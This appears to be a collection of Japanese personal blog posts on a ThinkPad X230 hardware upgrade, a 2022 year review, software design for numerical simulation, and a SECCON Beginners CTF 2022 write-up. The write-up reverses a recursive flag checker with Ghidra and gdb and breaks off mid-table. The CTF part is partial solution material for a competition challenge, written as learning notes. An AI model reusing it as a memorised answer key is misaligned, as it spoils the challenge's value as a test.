X230を改造した

昔、僕がメインマシンであったLet's noteを壊していまい修理に出している間、パソコンがなくて微妙に困った。*1というわけで、中古でもいいからサブPCを買おうと電気街へ赴いた。その時買ったのがThinkPad X230だったのだが、これが改造の余地がかなりあってカスタムしがいのあるPCで名機と呼ばれているらしいということを購入後に知った。「買うならThinkPadだよなぁ、なんかかっこいいし」くらいに思っていた*2が、実はいい買い物だったらしい。ちなみに購入時点のスペックはこんな感じ。

CPU:i5-3320M(2.6GMHz)
RAM:8GB
SSD:256GB
ディスプレイ:HD(TN液晶)

その後、Let's noteのディスプレイが保証期間を過ぎてから壊れ、えげつない修理費を要求されたので*3、本格的にX230を使う覚悟を決めた。そこで、メインマシンにこいつを据えるとなると、せっかくだから改造してスペックのいいものにしたくなる。全然使えるスペックではあるのだが、なんとなく...ね。改造もしてみたいし...?ということで、パーツを買う余裕があるときに優先順位をつけてちまちまと実施していった結果、メモリは16GB、SSDは256GB×2、ディスプレイはIPS液晶になって見やすくなるというビフォーアフターを遂げたのでうれしい!という記事。ちなみにX230のハードウェア保守マニュアルはこちらにあるので、これを見ればさくっと改造マスターになれる。

usermanual.wiki

メモリ

多分一番簡単に換装できる。裏面外して取り替えるだけ(DDR3 204ピンSO-DIMM 8GB×2)。メモリ16GBという現代における基本的人権を手にした。

SSD

少し手数が多くなる。キーボード、パームレストの順に外すとmSATAのSSDが入るスロットが見える。保守マニュアルによると当たりを引けばここにはLTEアンテナをつけることができるっぽいのだが、今回はSSDを増設して2次記憶を拡張することに。

スロットにSSDを差し込み起動!BIOSで新たなSSDを認識していることを確認したら、これを論理ボリューム化していい感じに都合に合わせてコネコネできるようにしておいた。論理ボリューム周りの操作はあえて書くほどでもないので、とりあえず安心と信頼のArch wikiを...

wiki.archlinux.jp

ディスプレイ

TN液晶をIPS液晶にした。他のx230改造ブログでも言われているように、視野角が広くなって画面もきれいに見えるので普段遣いするなら体験はかなりよくなる。ディスプレイ周りのフレームを外すときが怖いけど、思い切っていこう。

Q FHD化の夢は見ないんですか?  
A.あまりにやらかしリティが高そうで諦めました。  

さてこれでスペックは以下のように。
CPU:i5-3320M(2.6GMHz)
RAM:16GB
SSD:256GB×2
ディスプレイ:HD(IPS液晶)

CPUは最近のものと比べると少し見劣りするが、だめというほどでもない。RAMとSSDがこれだけついて本体含め5万程度で済むのだからなかなかいい買い物であったように思う。これで僕も10年以上前のモデルのThinkPadをモリモリ改造してLinux入れて使用するといういかにもスーパーハカー気取りなイキリができるようになった。ちなみに、ACアダプタも割と熱を持つのでヒートシンクをくっつけてみた*4ヒートシンクがついているACアダプタを持ってるやつ怖すぎる。ちなみにガワになんかくっついてるとDIY感が増していいなと思った。思ったより簡単に換装できるし、なにより分解して増改築するのは楽しい。最近のマシンと比べるとストレージとRAMは張れるくらいだけど当然CPUは見劣りする。とはいえあまりCPUの性能が足りなくて〇〇ができない、というのは感じたことがないので性能に文句は今のところなく、筐体が重いのだけちょっと気になるくらい(1kgくらいある)。ちなみに、その壊れた生協パソコンと比べてどうなのよという話については、生協パソコンがメモリ8GB、SSD256GB、i5-6200Uだったので、それと比べるとコスパの良さは圧倒的であった*5。なんだかんだ、こうして改造してそれなりのマシンにするのは楽しいのでプライスレスみたいなところもあるし、重いとはいえ重厚感のある真っ黒な筐体は結構気に入ってて愛着も湧いてきたので、大事に使いたいですね

*1:このLet's noteは生協パソコンで、修理は見積してから依頼する流れで修理されて戻ってくるまでに1ヶ月くらいかかる。学部生のときはレポートは紙媒体がメインだったし課題で困ることはないが開発系の課外活動をやっていたので自分のPCはあったほうが良かった

*2:当時Linuxを使ってみたいという欲求もあり、中古のThinkPadLinux積んでるとなんかかっこいいと思って完全に形から入っていた。今は普通にLinuxがメインマシンなのでセーフセーフ

*3:4年間は修理が無料だったので遠慮なく修理に出せた。保証期間がすぎるとディスプレイの修理に7万とかで見積もりが出てくる。生協パソコンは修理無料を活かして遊び倒してうっかりぶち壊して新品と交換するくらいの勢いでないと割に合わない。ただ、それができるのが他にはない強み

*4:つけなくても別に問題があるというわけではない

*5:前述の通り、生協パソコンの最強ポイントはその保証の強力さなのでマシンそのもののコスパで価値は測れない。ただ、x230もCPUとマザボさえ無事なら交換修理もコスパ良く済むとは思う

2022年を振り返る

1月

この辺は研究に忙殺されている。審査会、公聴会の準備と並行して修論を執筆していた...。

2月

修論提出&公聴会DONE。修論の優秀賞をゲット。
やっと少し余裕ができたので、衛星のOSについてThink & Writeを再開していた。
github actionsを触り始め、何度も繰り返すテストはこれでやるようにしてみたりと開発環境にも思いを馳せることに。

3月

修論の修正をして最終版を提出して無事修了。優秀賞をとったので景品をゲットした。
ヒッコシングなど労働者になるための手続きに奔走

4月

労働者となり、今まで目を向けていなかった領域の技術に手を出さなければならなくなったのでこんなことをして遊んでみていた

  • SQLも書けない有様だったのでMariaDBをPCに構築する遊びを同期とやってみてSQLを書く練習をする
  • rustlingsを始める。趣味のパソカタをしていたら余った、使い方に困るちょっとした時間でこの頃からちまちま進め始めた

5月

ニコニコ超会議に行ってISTのロケットを見る。話を直接聞けて、部品もいっぱい見られてかなり面白かった。
まさかニコ超でロケットが見られるとは思ってなかった。

他のブースも見て回ったけどインターネット文化を感じられてとても良かった。
あとニコニコ技術部ファミコンを楽器にしてるやつを生で見られて感動

(あとバンナムフェス行った。リアルライブめちゃくちゃ久しぶりで楽しかったです。感覚ピエロのBtD忘れません)

6月

ネットワークに入門するために、とりあえず安いL3SW買った。
24ポートは普通に持て余してるのでなんか遊びたい任意のオタクは声かけてください。
ネットワーク入門もなんだけど、スイッチを分解して中を見てオシロとかで信号を見てみたい思いがあるので分解に関心があるオタクも声かけてください。

あと、はやぶさが持ち帰ったサンプルがあると聞いてISASに行ってきた。
サンプルはごく微量でルーペを通して見るようになっており、予備知識無しじゃただの砂にしか見えないが、かなりアクロバットなミッションシーケンスだと感じていたのもあって、これを持ち帰る過程に思いをはせてなんとなく感慨深くなった。

7月

カーネルハックに関心が沸いてきたので、とりあえずLinuxカーネルをビルドしてQEMUで動かしてみるなどしていた。(これも進めなきゃだな...)
(SUNRICH COLOURFUL1日目には行ったのですが、2日目に全員集合M@STERPIECEが来てて膝から崩れ落ちました。ショックでムビマスの円盤とマスピのCDとスタマス買いました)

8月

修論をjournalに出していたところacceptされた。
少し前からなんとなくその気配を感じていたので、7月半ばからは研究に使用していたソースコードをpublicリポジトリにすべく整備し始めていた。 「進捗>>コードの質」の思想の下3年熟成されたいきあたりばったりなコードなので完成度がかなり低く「ちゃんとやりたいなら1から書き直せこんなもん」状態だったが、「一応使っていたものと近い状態で残しとこうかな...」と思い結局入出力部だけ軽くメンテしただけになった。 どう考えても数値計算をソフトウェアの書き方とともに学ばないのは損失だと常々考えていたが、実際本格的にメンテしようとしたらすでに酷いことになっていたので(これは自業自得)、数値計算のソフトウェアを書くには事前に何を考えなければならないかを反省してブログにブチ上げた。動くコードと、数値計算ソフトウェアの作り方に対する私見を放出したのでやりきった感...。

もうひとつ、HTTPが基礎から何もわからんかったので、VMでプロキシを立ててHTTP/HTTPSの通信を中継させて、HTTPSの場合は内容が見られるように設定してみる、というのをやった。内部が見える仕組みを構築してみると理解が進むね...。

9月

MFTに初参戦。
めちゃくちゃ刺激になった。面白いと思ったものを書き連ねていくとキリがなくなるので書かないけど、「やっぱちゃんとモノ作りてぇよな」と思った。

あとここでSpresenseの革新周りの話を聞いた。月面ローバーも頑張ってください

10月

部屋のアップグレードのためのムーブに奔走(部屋はよく考えましょう)

11月

部屋のアップグレード完了

  • L字デスクになりました✌ (広くて快適、これで基板やらを広げても問題ない机上スペースを手に入れたので開発やっていこう!)

ちまちまやっていたrustlings完走しました(長い)

12月

机上スペースを手に入れたので開発やっていこう!

感染症で2週間オワオワリになっていました。(かなしい)

その他部屋のアップグレードに伴う小物の調達に奔走。暮らすって物入りね...(魔女並みの感想)

総評

色々見に行って刺激を受けたものの、何かモノとして成した物体がないので来年は何か完成させることを目標にしたいですね。
そのための環境の用意にも奔走したわけですし。

数値計算もソフトウェアシステムとして開発されていい

タイトルのとおりですが、自分がイカした数値計算システムをつくって公開したとかそういったことは全然なく、むしろ逆でまともなアーキテクチャのシステムをつくることができなかったために発生した苦労との闘いと「ああすればまだマシかもしれない」をしたためた感想文を書くことにしました。ツールを使った場合は感想文を書けるほどの経験がないので、フルスクラッチしていて保守性の悪いコードを書いてしまったときの体験の悪さでも残しておこうと思います(「こうすればよかった」的な振り返りも考えましたが未だ完全な実装に至っていない部分もあり、そういうのは「ぼくのかんがえたさいきょうのシステム」程度の戯言なので、これを見た方は無視しましょう。数値計算プログラムを書き始めたときにソフトウェアエンジニアリングに関する知識がゼロだったので、色々失敗も書きますが優しく見守ってください m( _ _)m)

数値計算を行う手順

システムとして開発されていいなどと言う前に、私が書いていた数値計算プログラムはどんなつくりをしているのかというところからまとめます(ちなみに私が経験があるのは流体の数値計算です)。数値計算といっても様々な種類があるわけですが、力学の問題を数値的に解くいわゆる計算力学では、何らかの支配方程式を解くためのソルバがあるというのが一般的かと思います。例えば、研究室などでははじめに「自分で書いてみてよ」とか言われると思いますが、さぁ論文や教科書を片手にコードを書くゾイとなる前に、一度ここで数値計算をするプログラムがどんな作りになっているのかを把握したほうが後々幸せになれます。文献片手にプログラムを書けはしますが、振り返ってみると、これをやって良いのは「一次元で格子数が決まっている場合」「再現実装等で書き捨ててよい場合」くらいな気がするんですよね。というのも、汎用性などを考えると数値計算プログラムというのはデカイ金槌1個ですべてを蹂躙しようというモチベーションでは片付けにくい面倒な手続きがあるからです。下が数値計算を行うプログラムの構造と処理の大体の流れかなと思います。

支配方程式をソルバに解かせる前に、解きたい問題の初期条件は何か、境界条件はどうなっているのか、空間・あるいは物体の形状はどのようなものであるのかを指定する必要があります。1次元なら物理量を保存する配列1個でガシャガシャやっても初期条件や境界条件の扱いにも困ることはないでしょうし、結果の出力や後処理もソルバプログラムに追記する形で扱って特に問題はないはず。ただし、2次元以上になると、(x,y)や(x,y,z)で格子数を決めて、面や立体として形状を定めなければならず、初期条件や境界条件にもバリエーションが増えます。形状も解く問題によって様々なものが登場し始め、1次元のソルバでは問題にすらならなかったメッシングも手間暇がかかるようになるので、外部に切り離したくなります。さらに、2次元以上になると現象の概要を掴むためにParaviewなどで可視化したい、とか、特定の部分だけで分布をみたい、とか結果の分析に関するユースケースも爆増します。そのために、多様な後処理用のプログラムを外部にもっておくほうが分かりやすくなるので、後処理部分は切り離します。これを一連の流れに数値計算プログラムは成り立ち、結果として使う情報というのは上の図で一番右に出てくる後処理後のファイルなので結果を得るのはまぁまぁな苦労です。

プログラムや成果を管理する上での苦悩

さて、こういう構造になってしまう数値計算のプログラムは当然複雑になるし、入出力をはじめとして細々とした面倒事に関しては枚挙に暇がありません。ここでは主に面倒事として感じていたことをまとめていきます。

ソルバ実装上の面倒なところ

  • 条件のバリエーション
    まずは初期条件や境界条件、メッシュのバリエーション、そして「〇〇な問題を解くには△△なソルバがいいよ」と言った具合にソルバの選択にもバリエーションが生じる場合もあると思います。多数の選択肢がある条件を、内部の制御をポチポチやりながら切り替えていくのはかなりダルいですが、資料片手にノリで書き始めたプログラムを改修していくようなやり方を取るとこれをやってしまいがちなんですね。(私も友人氏も後輩氏も先輩氏も条件に応じて多数の処理をベタ書きし、コメントをつけたり外したりするやつをやっておりました)。しかし、「さすがに怠すぎる」と思う頃にはもうプログラムの骨組みはでき上がっており、イチから構造を見直すとなると「いや結果速く出さないと...」みたいになり、抜本的な作り直しもできず...といった負のスパイラルは早くもここで完成します。私は悪あがきでコマンドライン引数に計算条件の名称を入れ、それを元に大枠の条件設定が分岐するように変更しました。しかし、カッチリした条件だけで計算するはずもなく同じ形状のメッシュでも格子数が違う、とか、少しだけ初期条件に変える、とか細かい変更があるので、コメントつけたり外したりを完全に消去することはできませんでした...。

  • 速さが足りないッ!!
    これは別に速い言語がどうこうを主張したいわけではなく、処理に使うデータ構造で工夫できる点があるならやったほうがいいということです。愚直にロジックを書くよりも性能が出るデータ構造やアルゴリズムがきっとあるはずと思うことが第一歩。賢くないロジックを書けばどんな言語でも遅くなると思いますし、言語は設計の悪さを改善してくれはしないので、ここでは特に言語に関する言及はしません。

  • コーディングスタンダードをよく考えたい
    これは私だけかもしれないですが、物理量に関してはどんな切り方をしても全てののサブルーチンで参照するといっても過言ではないくらいなので、グローバルな扱いの方が逆にいいのではと思うことは結構ありました。私は知識のない状態からコードを書いていたので、何が起きるかわからないことへの恐れから意地でローカル変数にしましたが、プログラムの全体が把握できるようになるとグローバル変数で扱っても悪くない気がします(小話ですが、そこまで条件のバリエーションが多くない計算をやっていた友人氏は「分けてもどうせどのルーチンでも扱うし、1個のファイルで見られる方が良くない?」と1つのプログラムファイルに全ての処理を書くという方法をとっていました。パワープレイすぎる)。グローバル変数は一般には忌み嫌われる存在ですが有用と思われる部分もあるように、数値計算をする上でのコーディングスタンダードを考えたいと思っていました。

    • 言語仕様で多少の違いはあるでしょうが、例えばFortranならmodule, C系だとstructとかをグローバルに準ずる存在にしておくのもよかったかもしれないです
  • テストがダルい
    マジでひたすらにダルい(嗚咽)、うまく動かないときはかなりの確率で難解なデバッグが実装者の身に降りかかります。そもそも設定条件に様々なものがある上、時間を刻んで計算を何ステップも繰り返して進行させるため、どの部分が一番怪しいのかは経験則に頼る部分が大きくなります(経験が浅いときにソルバの実装がうまくいかず、初回ステップのソルバの計算過程を全部手計算したときはさすがに虚無過ぎた)。しかし、それもソルバに問題がなければ意味がなく、条件設定やメッシュの方を疑うことになります。私の経験では他にもこんな感じのがありました。見ていればなんとなくわかると思いますが、可視化して確認とか、グラフ書くとか、確認のために必要な作業で最もコストがかかる上に肝心なところが自動化できなさそうなのが厄介ポイントです。

    初期条件の設定ミス
       境界付近が怪しげな値になるのをたまにやる。最初に空間全域の設定値を出力したりしてなんとか特定する。
    境界条件の実装ミス
       2次元以上になると最初にミスりがち。単純なメッシュと単純な初期条件を使って境界条件の計算結果を確認したりする。
    ソルバの実装ミス
       テスト問題を解いて理論解や文献と照らし合わせてグラフ書いて合ってるか確認したりする。
    メッシュが悪い
       後輩氏が発散しまくるので何事かとメッシュを可視化してこまかーくみていくと不必要にギザギザな形をした部分があり、擾乱がここから発生していた 。

計算結果の管理で面倒なところ

  • メタデータが多い
    数値計算の結果は、それを分析するデータを生成する後処理に必要な情報や、分析自体に必要な情報も結構あります。似たような計算をたくさんこなすこともあり、ファイルの管理も大事。計算結果の管理に必要な情報をパッと思いつく限り上げてみると...

    1. 初期条件
    2. 境界条件
    3. 問題の概要(問題には名前がついていたりするので、問題の名称とかで良いとは思う)
    4. 使用したメッシュとその格子数
    5. ソルバの計算結果のファイル名

こんな感じでしょうか。計算条件は言わずもがな、あと使用したメッシュなどが、後処理の入力となる計算結果のファイルと共に紐付けて記録しておかないと、違うファイルを参照して後処理するなどのミスが起きやすくなります。個人的にはディレクトリ構成でなんとか管理するやり方はまずいと思いました。あとから深くなっていくし、計算条件の変更に対して柔軟でなかったです。

  • ファイル同士の関係性を把握する必要がある
    前項と関連する話で、後処理をして分析対象となるファイルには前項に列挙したような情報を紐付けておくのは結果の管理において必要なコストだと思います。そういった関連性を記述する実装がなされていてもいい。具体例を上げるとParaviewで可視化するためにvtkファイルを作りたいみたいな場合ですね。可視化するためのファイルを使うには「どんな形状の空間(物体)で」「どんな物理量の分布をしているか」の情報が必要なので、物理量を吐いたファイルと、使用したメッシュを対応させて後処理しなければなりません。対応しないファイル同士で後処理なんかして再現性のない結果を成果と勘違いしたりするとまずいわけです。

ソルバもソフトウェアエンジニアリングの知見のもとに書くほうがいい(ので、どうすればマシになったか考えるの部)

そんなこんなで、苦労した点をつらつらと書いてみましたが、これを解決するヒントはソルバが一生懸命解いている力学や数学の分野よりは、ソフトウェアとかシステムとかそういった分野の知見にあるというのが本記事の趣旨です。こんなデカいシステムをつくるなら、(当時聞いても概念だけではいまいちよくわからなかったとは思うので意味があるかはさておき)KISS、DRY、YAGNI、SLAPといった原則は知られてもいいはず。こういった概念をどう形にするかはまた別の話だし、「数値計算システムを設計するためのデザインパターンが載っている本とかあるのか...?」って感じなので数値計算屋さんは体験向上のためにも一層ソフトウェアに気持ちを入れて設計を考える必要があると思うわけです(というかこの手の知見がある人はもっと共有してほしい)。一般的なアーキテクチャを考えるのは自分より理解のある人がいるでしょうし、私の場合はどんな考え方、つくりに頼ればよかったのかということを振り返ります。

開発について

プログラムを書く
似たような実装になるものの細かい点が異なる条件設定系の話はソフトウェア的にはポリモーフィズムと呼ばれる実装で解決できそうですし。早さの出るデータ構造も情報系の分野にヒントがあるでしょう。数値計算におけるコーディングスタンダードはちょっと具体的には思いつきませんがそれこそプログラミングの原則をブレークダウンして定めるとかでしょうか。

開発体制とか
ソルバの検証フローの策定はしておくべきでした。まず、初期条件の設定チェックくらいはテストが書けると思います。最終的な計算結果も理論解などと誤差なくピッタリ結果が出るテスト問題を選べば「相対誤差を計算して○%以下ならパス」というテストなどがギリ書けるかと思います(書ける、というだけで是非は怪しいです)。正直、グラフや可視化が検証に必要な時点でテストの全自動化は厳しそうな気がするので、テスト問題の初期条件などを設定する機能を内部に用意して、可視化用ファイルやグラフ化用ファイルをコマンド一発で吐いてくれる仕組みをつくっておくまでが妥協点だったかと思います(と思ったので、ここはMakefileを使ってやりました)。
また、「ソルバの検証だけしたいのに条件設定のルーチンと依存関係にある。問題を解いて検証するにはソルバだけ切り離した実装は難しいが、今うまく動いてるものに検証中のものを入れたくない」と思うこともあるわけですが、これはもうgit使って検証用branch切ればいいだけです。他にも変更履歴を書いておけるなど、gitを使う恩恵は計り知れないものがあります。GitHubやGitLabなりを使って開発して、かんたんな値チェック程度はCI/CDに組み込んで、新たな機能を実装する場合はbranchを切る、開発フローを整理してツールを導入するだけである程度の問題が解消されそうです(さすがにGitを使った開発は行いましたがCI/CDまではやっていませんでした)。

計算結果の管理について

最近、計算結果を管理するためにソルバは計算結果とともにメタデータを出力にする実装にして、メタデータを元に計算結果のファイルと実行可能な後処理を一覧するビューを生成し、行いたい後処理と後処理したい計算結果を選択すればメタデータを読んで計算結果と紐付けて後処理に渡すフロントエンドがあって、後処理はバックエンドのような形で実装すればよかったのではと思いました(まぁ本筋でないことにここまで気合を入れるのもどうかと思うので、趣味の域になってきますが)。何にせよ、計算結果の適切な管理のためにメタデータを書いたファイルはほしいですし、結果の出力時に一緒に吐いておくと良さそうだと思ったので最近JSONメタデータを吐くように変更しました(この程度なら複雑な構造にならないし)。 あとは、入力側もconfigファイルみたいなものを用意して、それを食わせることで初期条件や使用する境界条件が設定すると言った形の実装が良かったんじゃないかと思います(OpenFOAMはこんな感じだった気がする)。ファイルで入力してファイルで結果を管理する、といった設計にはしたかったですね。内部ロジックのコメントアウトポチポチで処理をわける制御はもうやりとうない...。
(例) 結果を出力するときはなんかこんな感じのファイルも一緒に吐く

{
   "XGridNum" : "100",
   "YGridNum" : "100",
   "MeshFile" : "Mesh1.txt",
   "ResultFile:" : "Result1.txt",
   "InflowVelocity:" : "1.0",
   "Outbound:" : "FreeOutFlow",
}

後処理自体はソルバ回すのに比べれば軽い処理の方が多いだろうから、後処理に関する一連の流れは機能がリッチめな言語で実装するのもいいかもです。少なくともFortranで後処理までモリモリやる必要はないわけです(←やった人)。やりたい後処理とそれにつかう結果のファイルを選んでポチッとしたらシュッと結果が出てくるくらいにすれば、「数値計算用のプログラム」としてこれらを全部書いていたときよりもまともな運用ができるはず。設計の基本は役割や責任の分担。どこで役割を分け、どこを別の要素として切り出すべきか、どうやって連携させるのかを「数値計算用のプログラム」というくくりでなく、「数値計算で現象を分析するシステム」くらいの規模感で考えられると良かったです。
最後に余談ですが、スパコンなどを使うこともあり、計算機をまたいだ結果のやりとりなども発生します。こういうのもサーバを建てるという発想になってシステムを作ろうとするかどうかで体験が変わるよなぁと思います。

感想

あとからソフトウェアに関する知識をつけてツールや考え方を取り入れたりして悪あがきはしてみたものの、結局私も抜本的にシステムレベルのものを再構築するには至りませんでした。冒頭で書いたように、力技でソルバを検証して確認が済み、「早く結果を出さないと」と思いはじめたそのときにはもう負のスパイラルは完成しており、イチからつくるには多大な労力と時間をもっていかれます(こういう話も技術者の間ではポピュラーな話だと思います)。そうは言っても、結局使うのは計算結果なわけで、コストのかかる改修を気持ちを入れてイチからやるだけのインセンティブってそんなになかったりします。「情報系でないから」と言わず、数値計算もプログラムを使って行う以上はソフトウェアシステムを構築するための知見が共有されて、開発フローが整っている状態から開発を始める環境はもはや当然のものとして存在していいレベルだとは思うのですが、捉え方によるところもあるでしょう。この記事では私が苦労したところと、悪あがきの内容、振り返ってどうしたらよいか考えたことをできる限り具体的な内容にしたつもりなので、気持ちが出せる人に届けばいいなと思います。
数値計算はそもそも後処理で分析してからが本番なので、「数値計算用のプログラム」は結果を出すためだけのライブラリとしてシステムのコンポーネントレベルの存在であるほうが望ましいと思うようになりました。そうなると、ライブラリになるような実装をするためのインターフェースの設計があるだろうし、プログラムの書き方はだいぶ変わるんじゃないでしょうか。数値計算もそれ用のソフトウェアシステムとして、もっと俯瞰的な設計をしてもいいじゃない。

CTF訂正帳①

SECCON beginners CTF2022に参加したので、そのことを書いていきます。

主旨

CTFを解く時、あとから振り返ると「なんでここできたんだ?」みたいになりがちで一生ワナビーみたいな気分がして悔しいので、問題を見たときに何を考えていたのか、その考えの何が間違っていたのかを記録して復習することにしました。そこでwriteupというよりは考える過程を記録して復習の材料にしたり、アンチパターンにしたいと思います(テストの訂正ノートのようなものです)。考えていたことをいちいち書き起こしているのでやや冗長になっています。なお、自分が関心のあるジャンルはreverseとpwnでこれらの問題を中心に解いたので、cryptoとwebについては記載しておりません。

取り組んだ問題

Quiz(Reversing)(振り返りの余地がないので割愛)
Recursive(Reversing)
beginnersBof(Pwnable)
raindrop(Pwnable)

reversing

Recursive

突然フラグを聞かれて回答して間違ってるぞと言われます(それはそう)。まずは内部でどんな処理をしているのか追っていきます。まずはghidraでデコンパイルして概要を掴みます。mainでフラグの入力を要求されたあとはcheck関数に入り、checkは再帰的に呼び出されることがわかりました。ちなみにGhidraによるcheck関数のデコンパイル結果はこちら

undefined8 check(char *param_1,int param_2)

{
  int iVar1;
  int iVar2;
  int iVar3;
  size_t sVar4;
  char *pcVar5;
  
  sVar4 = strlen(param_1);
  iVar3 = (int)sVar4;
  if (iVar3 == 1) {
    if (table[param_2] != *param_1) {
      return 1;
    }
  }
  else {
    iVar1 = iVar3 / 2;
    pcVar5 = (char *)malloc((long)iVar1);
    strncpy(pcVar5,param_1,(long)iVar1);
    iVar2 = check(pcVar5,param_2);
    if (iVar2 == 1) {
      return 1;
    }
    pcVar5 = (char *)malloc((long)(iVar3 - iVar1));
    strncpy(pcVar5,param_1 + iVar1,(long)(iVar3 - iVar1));
    iVar3 = check(pcVar5,iVar1 * iVar1 + param_2);
    if (iVar3 == 1) {
      return 1;
    }
  }
  return 0;
}

また、checkの戻り値が1だとincorrectになることがわかるので、そうならないための条件を探します。この様子では最終的にtable[param2] == *param1であれば0を返してくれそうです。しかし、そもそもフラグを出力してくれそうな処理が一つもありません。ここで、「何らかの方法でこのバイナリファイルの中にあるtable[param2]の内容を読み出しさえすればいいのでは」という方針が立ちます。ではGDBで解析していきます。最初に考えたのはcheck関数とif(table[param2] == *param1)の判定を行うところにブレークポイントを張って実行し、レジスタ値などを書き換えながら実行を進め、incorrectにならないようにtableの内容を読み出していくという方法です。 ここで少し脇道にそれますが、checkに入ったところでディスアセンブルしてcheck関数の中身を見ると、tableのアドレスが書いてあります。

(gdb) disas
Dump of assembler code for function check:
   0x0000555555555280 <+0>:   endbr64 
   0x0000555555555284 <+4>:   push   rbp
   0x0000555555555285 <+5>:   mov    rbp,rsp
   0x0000555555555288 <+8>:   sub    rsp,0x30
   0x000055555555528c <+12>:  mov    QWORD PTR [rbp-0x28],rdi
   0x0000555555555290 <+16>:  mov    DWORD PTR [rbp-0x2c],esi
   0x0000555555555293 <+19>:  mov    rax,QWORD PTR [rbp-0x28]
   0x0000555555555297 <+23>:  mov    rdi,rax
   0x000055555555529a <+26>:  call   0x5555555550d0 <strlen@plt>
   0x000055555555529f <+31>:  mov    DWORD PTR [rbp-0x1c],eax
   0x00005555555552a2 <+34>:  cmp    DWORD PTR [rbp-0x1c],0x1
   0x00005555555552a6 <+38>:  jne    0x5555555552d1 <check+81>
   0x00005555555552a8 <+40>:  mov    eax,DWORD PTR [rbp-0x2c]
   0x00005555555552ab <+43>:  cdqe   
   0x00005555555552ad <+45>:  lea    rdx,[rip+0x2d6c]        # 0x555555558020 <table>

横着しようとしてここのデータの読み出しを実行してみたのですが、なんとなくフラグっぽい文字列が見えます。

(gdb) x/s 0x555555558020
0x555555558020 <table>:   "ct`*f4(+bc95\".81b{hmr3c/}r@:{&;514od*<h,n'dmxw?leg(yo)ne+j-{(`q/rr3|($0+5s.z{_ncaur${s1v5%!p)h!q't<=l@_8h93_woc4ld%>?cba<dagx|l<b/y,y`k-7{=;{&8,8u5$kkc}@7q@<tm03:&,f1vyb'8%dyl2(g?717q#u>fw()voo$6g):)_"...

ここでフラグっぽいが明確に違う文字列が出てくるのでcheck関数の再帰呼び出しと条件式について再考することになります。ここで何すればいいんだろう...となりましたが手か足は出していきます(gdbブレークポイントをむちゃくちゃ張って、レジスタを書き換えて処理を進める虚無作業など活動を多岐に渡る...。)すると、そもそもparam1はcharなので1文字ですから、文字列の中から毎回1文字ずつ取得して検証しているよねということが先程考えたgdbでいちいち条件分岐に使われる値を読み出していく作業をしているうちにわかりました(遅い)。では、「checkを再実装してif(table[param2] == *param1)のタイミングで1文字ずつ出力すればよい」という考えに至ります。tableの中から文字列が取得されることはわかっており、デコンパイルしてアルゴリズムもわかっていますからあとは書くだけです。tableの内容についてはghidraの出力結果をコピペしていらない部分をちまちま消しました。再実装にあたってghidraのデコンパイル結果と書き味が違う点は2点です。再実装はtableの中から正解の文字列を探すのが目的で、正解を出力させる行為なのでバリデーションの必要がありません。したがって、iVar3==1のときは文字の出力だけさせてif文を抜けます。すると勝手にreturn 0してくれるのでわざわざifブロックにreturn文も書きません、ここが1点目。もう1点はelse内で実行するcheck関数をif文に組み込んだ点です。5億年ぶりにpythonを書いたため非常に下手くそな書き方になってしまった感がありますが一応フラグが出力されます。

table = [0x63,    0x74, 0x60, 0x2a,  0x66,  0x34,  0x28,  0x2b,
0x62,  0x63,  0x39,  0x35,  0x22,  0x2e,  0x38,  0x31,
0x62,  0x7b,  0x68,  0x6d,  0x72,  0x33,  0x63,  0x2f,
0x7d,  0x72,  0x40,  0x3a,  0x7b,  0x26,  0x3b,  0x35,
0x31,  0x34,  0x6f,  0x64,  0x2a,  0x3c,  0x68,  0x2c,
0x6e,  0x27,  0x64,  0x6d,  0x78,  0x77,  0x3f,  0x6c,
0x65,  0x67,  0x28,  0x79,  0x6f,  0x29,  0x6e,  0x65,
0x2b,  0x6a,  0x2d,  0x7b,  0x28,  0x60,  0x71,  0x2f,
0x72,  0x72,  0x33,  0x7c,  0x28,  0x24,  0x30,  0x2b,
0x35,  0x73,  0x2e,  0x7a,  0x7b,  0x5f,  0x6e,  0x63,
0x61,  0x75,  0x72,  0x24,  0x7b,  0x73,  0x31,  0x76,
0x35,  0x25,  0x21,  0x70,  0x29,  0x68,  0x21,  0x71,
0x27,  0x74,  0x3c,  0x3d,  0x6c,  0x40,  0x5f,  0x38,
0x68,  0x39,  0x33,  0x5f,  0x77,  0x6f,  0x63,  0x34,
0x6c,  0x64,  0x25,  0x3e,  0x3f,  0x63,  0x62,  0x61,
0x3c,  0x64,  0x61,  0x67,  0x78,  0x7c,  0x6c,  0x3c,
0x62,  0x2f,  0x79,  0x2c,  0x79,  0x60,  0x6b,  0x2d,
0x37,  0x7b,  0x3d,  0x3b,  0x7b,  0x26,  0x38,  0x2c,
0x38,  0x75,  0x35,  0x24,  0x6b,  0x6b,  0x63,  0x7d,
0x40,  0x37,  0x71,  0x40,  0x3c,  0x74,  0x6d,  0x30,
0x33,  0x3a,  0x26,  0x2c,  0x66,  0x31,  0x76,  0x79,
0x62,  0x27,  0x38,  0x25,  0x64,  0x79,  0x6c,  0x32,
0x28,  0x67,  0x3f,  0x37,  0x31,  0x37,  0x71,  0x23,
0x75,  0x3e,  0x66,  0x77,  0x28,  0x29,  0x76,  0x6f,
0x6f,  0x24,  0x36,  0x67,  0x29,  0x3a,  0x29,  0x5f,
0x63,  0x5f,  0x2b,  0x38,  0x76,  0x2e,  0x67,  0x62,
0x6d,  0x28,  0x25,  0x24,  0x77,  0x28,  0x3c,  0x68,
0x3a,  0x31,  0x21,  0x63,  0x27,  0x72,  0x75,  0x76,
0x7d,  0x40,  0x33,  0x60,  0x79,  0x61,  0x21,  0x72,
0x35,  0x26,  0x3b,  0x35,  0x7a,  0x5f,  0x6f,  0x67,
0x6d,  0x30,  0x61,  0x39,  0x63,  0x32,  0x33,  0x73,
0x6d,  0x77,  0x2d,  0x2e,  0x69,  0x23,  0x7c,  0x77,
0x7b,  0x38,  0x6b,  0x65,  0x70,  0x66,  0x76,  0x77,
0x3a,  0x33,  0x7c,  0x33,  0x66,  0x35,  0x3c,  0x65,
0x40,  0x3a,  0x7d,  0x2a,  0x2c,  0x71,  0x3e,  0x73,
0x67,  0x21,  0x62,  0x64,  0x6b,  0x72,  0x30,  0x78,
0x37,  0x40,  0x3e,  0x68,  0x2f,  0x35,  0x2a,  0x68,
0x69,  0x3c,  0x37,  0x34,  0x39,  0x27,  0x7c,  0x7b,
0x29,  0x73,  0x6a,  0x31,  0x3b,  0x30,  0x2c,  0x24,
0x69,  0x67,  0x26,  0x76,  0x29,  0x3d,  0x74,  0x30,
0x66,  0x6e,  0x6b,  0x7c,  0x30,  0x33,  0x6a,  0x22,
